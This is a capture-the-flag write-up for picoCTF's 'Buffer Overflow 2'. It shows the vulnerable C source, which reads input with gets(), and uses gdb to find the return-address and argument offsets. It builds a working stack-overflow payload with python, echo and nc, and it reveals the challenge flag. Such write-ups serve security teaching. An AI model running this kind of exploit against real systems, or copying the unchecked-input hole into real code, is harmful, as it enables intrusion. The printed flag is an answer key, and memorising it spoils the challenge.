picoCTF

Buffer Overflow 2 [300 pts]

 Challenge Description

Challenge Description:

Control the return address and arguments
This time you’ll need to control the arguments to the function you return to! Can you get the flag from this program?
You can view source here. And connect with it using nc saturn.picoctf.net [port #]


We’re given an ELF binary and a C source file. Here’s the C source:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "Please create 'flag.txt' in this directory with your",
                    "own debugging flag.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xCAFEF00D)
    return;
  if (arg2 != 0xF00DF00D)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

First things first, do nano flag.txt and enter whatever text you’d like into it. This is just so you can run the program in your local machine.

Source Analysis:

Now, looking at the code, and knowing this is a buffer overflow challenge, we notice that the main() function calls the vuln() function, which then uses the gets() function to obtain user input. The gets() function is known to be insecure, so we can attack this line of code with a buffer overflow.

The program retrieves user input and stores it into a variable buf with a buffer size of BUFSIZE=100. Hence, all inputs past byte 100 should overflow onto the stack.

We are also given a win function, which retrieves the flag.txt file and prints it if two conditions are required: arg1, the first function parameter, must be equivalent to 0xcafef00d and arg2, the second function parameter, must be equivalent to 0xf00df00d.

Thus, we must do as follows:

  1. Write the win function address into the eip register, which denotes the address of the next instruction to run and is stored somewhere in the stack.
  2. Modify the arg1 and arg2 such that they equal the aforementioned values.

Dynamic Analysis:

Step 1:

chmod +x vuln to allow execution access gdb vuln to launch the gdb debugger

Use a website (or make your own program) that returns a random string of any length. I personally used a length of 120 (anything reasonably greater than 100 is suitable for now, given that we need to input a value longer than the buffer length) and only the characters 0-9.

My string was

850542294469848845479729569924849643415873641680750387752959608870162960336860448349356446615742071097671930231073322801

Now run the function with the r command and input the string. For my input, I received the following error message:

Program received signal SIGSEGV, Segmentation fault.
0x32333337 in ?? ()

The 0x32333337 denotes the address that the program attempted to return to, i.e. what was written into the eip register. 0x32333337 is 2337 in ascii, but because of little endianness, we have to reverse this string ⇒ 7332.
Looking back at the string, notice that 7332 is located at decimal offset 112

850542294469848845479729569924849643415873641680750387752959608870162960336860448349356446615742071097671930231073322801

Thus, eip, the return address register, can be overwritten with the bytes at offset 112 in the input.

We need to write the win function address into eip, so let’s check that with gdb.
disass win should show that the function is located at address 0x08049296

Hence, we can write an input file to send to the program:

python -c "print('a'*112,end='')" > input
echo -en '\x96\x92\x04\x08' >> input

Let’s test it out:

b win
r < input

Confirm that the program pauses execution at Breakpoint 1, 0x0804929e in win ()

Step 2:

Now we need to modify arg1 and arg2 to 0xcafef00d and 0xf00df00d.
disass win includes these two lines of assembly:

0x0804930c <+118>:   cmpl   $0xcafef00d,0x8(%ebp)
0x08049315 <+127>:   cmpl   $0xf00df00d,0xc(%ebp)

Comparing it to the source code, this tells us that arg1 must be located at $ebp+0x8 and arg2 must be located at $ebp+0xc.

Let’s check the offset of ebp in our input:
Generate a random string again. I chose a random string of 32 numbers.
echo -n '59144761475142004167455988422375' >> input to append your random string to your input file

b *win+118
r < input

x/2x $ebp+0x8 to show $ebp+0x8 and $ebp+0xc in the stack ⇒
0xffd2d3b4: 0x31363734 0x31353734

0x313637341674 in ASCII ⇒ reverse because of little endianness = 4761

59144761475142004167455988422375

Thus, $ebp+0x8 is located 4 bytes after eip, the return address, and $ebp+0xc is located 8 bytes after eip. Let’s rewrite the input file:

python -c "print('a'*112,end='')" > input
echo -en '\x96\x92\x04\x08\x00\x00\x00\x00\x0d\xf0\xfe\xca\x0d\xf0\x0d\xf0' >> input

(remember little endianness means you must reverse every group of four bytes)

./vuln < input should return the contents of your flag.txt file!
nc -q 2 saturn.picoctf.net 64689 < input to get the flag. Note that the -q 2 makes the connection wait 2 seconds after the EOF (end of file) before closing input, which allows us to receive the flag.

picoCTF{argum3nt5_4_d4yZ_27ecbf40}